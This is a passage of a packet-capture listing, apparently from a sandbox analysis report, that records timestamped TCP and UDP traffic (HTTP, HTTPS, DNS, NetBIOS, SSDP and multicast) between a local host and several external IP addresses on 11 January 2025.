Jan 11, 2025 07:55:17.152667046 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:55:18.891515970 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:18.891603947 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:18.891789913 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:18.891988039 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:18.892040968 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.296869040 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.297241926 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.297257900 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.297671080 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.298188925 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.298280954 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.298305035 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.298305035 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.298332930 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.298333883 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.298386097 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.298417091 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.298432112 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.340127945 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.402951002 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:55:19.402951956 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:55:19.402973890 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:55:19.402977943 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:55:19.555624962 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.555715084 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:19.555861950 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.556091070 CET	64605	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:19.556117058 CET	443	64605	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:21.659077883 CET	57161	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:21.877638102 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:21.877682924 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:21.877912998 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:21.878076077 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:21.878093958 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.325582027 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.326006889 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.326029062 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.326781988 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.327167034 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.327264071 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.327281952 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.327313900 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.327363014 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.327414989 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.381257057 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.615642071 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.615763903 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.615979910 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.616086006 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.616086960 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:22.616120100 CET	443	54228	13.89.179.10	192.168.11.20
Jan 11, 2025 07:55:22.616322041 CET	54228	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:55:27.170094967 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:55:27.241173029 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:55:27.241348982 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:55:27.288575888 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:55:27.794380903 CET	54229	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:28.402390957 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:55:28.402420044 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:55:28.803951025 CET	54229	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:30.805653095 CET	54229	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:32.529673100 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:32.529783964 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:32.529856920 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:32.529906034 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:32.530029058 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:55:32.530061007 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:32.530092955 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:32.530175924 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:55:32.530405998 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:32.530433893 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:32.776329041 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:32.776741982 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:32.776772022 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:32.777703047 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:32.778249979 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:32.778301954 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:32.778526068 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:32.824327946 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:33.016813993 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:33.016921043 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:33.017226934 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:33.017275095 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:33.017299891 CET	443	58604	23.33.85.243	192.168.11.20
Jan 11, 2025 07:55:33.017323971 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:33.017513037 CET	58604	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:55:34.809094906 CET	54229	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:37.296488047 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:55:37.414993048 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:55:42.821763039 CET	54229	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:55:47.429500103 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:55:47.469105005 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:55:47.469372988 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:55:47.547983885 CET	80	49767	160.202.165.71	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:53:32.191569090 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:53:32.944653988 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:53:33.710176945 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:53:42.897854090 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:53:43.654203892 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:53:44.419641018 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:53:47.680308104 CET	50239	53	192.168.11.20	1.1.1.1
Jan 11, 2025 07:53:48.081686974 CET	53	50239	1.1.1.1	192.168.11.20
Jan 11, 2025 07:54:02.868016958 CET	64203	53	192.168.11.20	1.1.1.1
Jan 11, 2025 07:54:03.064366102 CET	53	64203	1.1.1.1	192.168.11.20
Jan 11, 2025 07:54:05.437623978 CET	50823	53	192.168.11.20	1.1.1.1
Jan 11, 2025 07:54:05.557204008 CET	53	50823	1.1.1.1	192.168.11.20
Jan 11, 2025 07:54:06.327403069 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:54:07.086657047 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:54:07.852020979 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:54:13.799091101 CET	62456	53	192.168.11.20	1.1.1.1
Jan 11, 2025 07:54:13.918184042 CET	53	62456	1.1.1.1	192.168.11.20
Jan 11, 2025 07:54:16.107064962 CET	62457	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.107110977 CET	17640	33477	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.107111931 CET	7155	3111	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.108141899 CET	62458	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.108303070 CET	1485	42634	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.108303070 CET	62027	59920	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.109719038 CET	62459	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.109719038 CET	26013	7752	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:16.109870911 CET	54089	48989	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.117129087 CET	61585	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.117129087 CET	7377	47040	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.117155075 CET	64904	54420	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.118849039 CET	61586	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.118849039 CET	38349	20161	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.118925095 CET	60575	61926	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.120443106 CET	61587	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.120562077 CET	18049	52184	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:18.120562077 CET	40732	13721	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.133917093 CET	61588	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.133917093 CET	46224	21944	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.134079933 CET	53106	42390	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.137054920 CET	61589	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.137054920 CET	890	42248	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.137145042 CET	22048	24514	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.139725924 CET	61590	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.139725924 CET	10998	33302	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:19.139816999 CET	43195	64521	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.149228096 CET	51178	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.149228096 CET	45657	33973	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.149285078 CET	51700	50515	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.152287006 CET	51179	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.152287006 CET	22097	38827	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.152376890 CET	64619	48040	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.155180931 CET	51180	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.155180931 CET	48281	53006	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:20.155246019 CET	58928	31029	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.163273096 CET	49620	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.163273096 CET	30077	13072	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.163325071 CET	54052	19385	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.164773941 CET	49621	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.164886951 CET	27338	24937	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.164886951 CET	61653	46615	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.166316986 CET	49622	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.166316986 CET	41785	59766	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:21.166501045 CET	5119	29658	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.178709984 CET	49623	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.178709984 CET	39383	579	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.178761005 CET	47960	10455	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.180267096 CET	49624	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.180267096 CET	59293	63434	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.180357933 CET	22643	10484	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.181791067 CET	49625	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.181791067 CET	33822	35087	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:22.181879044 CET	51625	12635	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.194847107 CET	49626	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.194848061 CET	9486	38139	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.194931984 CET	57451	6415	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.196481943 CET	49627	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.196481943 CET	20635	10074	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.196568966 CET	61215	5150	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.198054075 CET	49628	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.198143005 CET	63242	41602	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:23.198143005 CET	16576	25226	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.209619045 CET	49629	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.209619999 CET	23615	47297	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.209753036 CET	50108	21789	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.211132050 CET	49630	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.211132050 CET	5884	10570	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.211226940 CET	1551	7696	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.212640047 CET	49631	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.212640047 CET	1979	43606	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:24.212729931 CET	3997	41891	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.224936962 CET	51968	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.224936962 CET	36698	4253	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.224936962 CET	1045	12551	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.226387978 CET	51969	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.226589918 CET	46217	25615	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.226589918 CET	36767	23986	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.227936983 CET	51970	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.227936983 CET	65037	51024	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:25.228097916 CET	58376	32261	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.240291119 CET	61872	50001	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.240291119 CET	8886	30886	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.240345001 CET	64437	1993	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.241862059 CET	61873	50002	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.241862059 CET	51497	62837	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.241919994 CET	25809	1790	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.243415117 CET	61874	50003	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.243415117 CET	27330	36340	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:26.243486881 CET	1649	13276	192.168.11.20	239.255.102.18
Jan 11, 2025 07:54:28.429814100 CET	56553	1900	192.168.11.20	239.255.255.250
Jan 11, 2025 07:54:29.430246115 CET	56553	1900	192.168.11.20	239.255.255.250
Jan 11, 2025 07:54:30.431087971 CET	56553	1900	192.168.11.20	239.255.255.250
Jan 11, 2025 07:54:31.153624058 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.227150917 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.275532007 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.275752068 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.275788069 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.276262999 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.282010078 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.282057047 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.282294035 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.347278118 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.347317934 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.347434998 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.347882032 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.353631973 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.361170053 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.361215115 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.361341000 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.401539087 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.401570082 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.401592016 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.401634932 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.401654959 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.402014971 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.402014971 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.402163982 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.403654099 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.430496931 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.433598042 CET	56553	1900	192.168.11.20	239.255.255.250
Jan 11, 2025 07:54:31.474104881 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.475297928 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.475987911 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.476156950 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.480092049 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.480123043 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.480417013 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.480714083 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.480745077 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.481098890 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.482171059 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.501296997 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.509274006 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.521449089 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.549197912 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.596036911 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.596101046 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.596276045 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.596299887 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.596555948 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.598012924 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.598095894 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.598248959 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.598474979 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.598498106 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.598797083 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.599689007 CET	443	64981	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.600052118 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.614972115 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.615067959 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.615282059 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.615282059 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.615437031 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.615437031 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.615473986 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.615547895 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.625982046 CET	64981	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.733666897 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.733882904 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.733906031 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.734136105 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.734158039 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.734173059 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.734216928 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.734335899 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.734446049 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.738406897 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.738446951 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.738462925 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.738719940 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.738739967 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.738761902 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.739001989 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.742634058 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.742659092 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.742674112 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.743032932 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.743032932 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.744163036 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.744184971 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.744488955 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.770565033 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.793886900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.794018030 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.794090986 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.794265985 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.794265985 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.794524908 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.797692060 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.798063040 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.800904989 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.804116964 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.804444075 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.807250977 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.810348988 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.810659885 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.814929008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.823528051 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.823563099 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.823818922 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.824549913 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.824912071 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.828202009 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.831425905 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.831722975 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.834687948 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.838247061 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.838573933 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.841759920 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.846093893 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.846517086 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.848265886 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.852557898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.853045940 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.855160952 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.860615015 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.860944033 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.862195969 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.866245985 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.866679907 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.869390011 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.872797012 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.873294115 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.875727892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.880074024 CET	443	61038	23.45.46.202	192.168.11.20
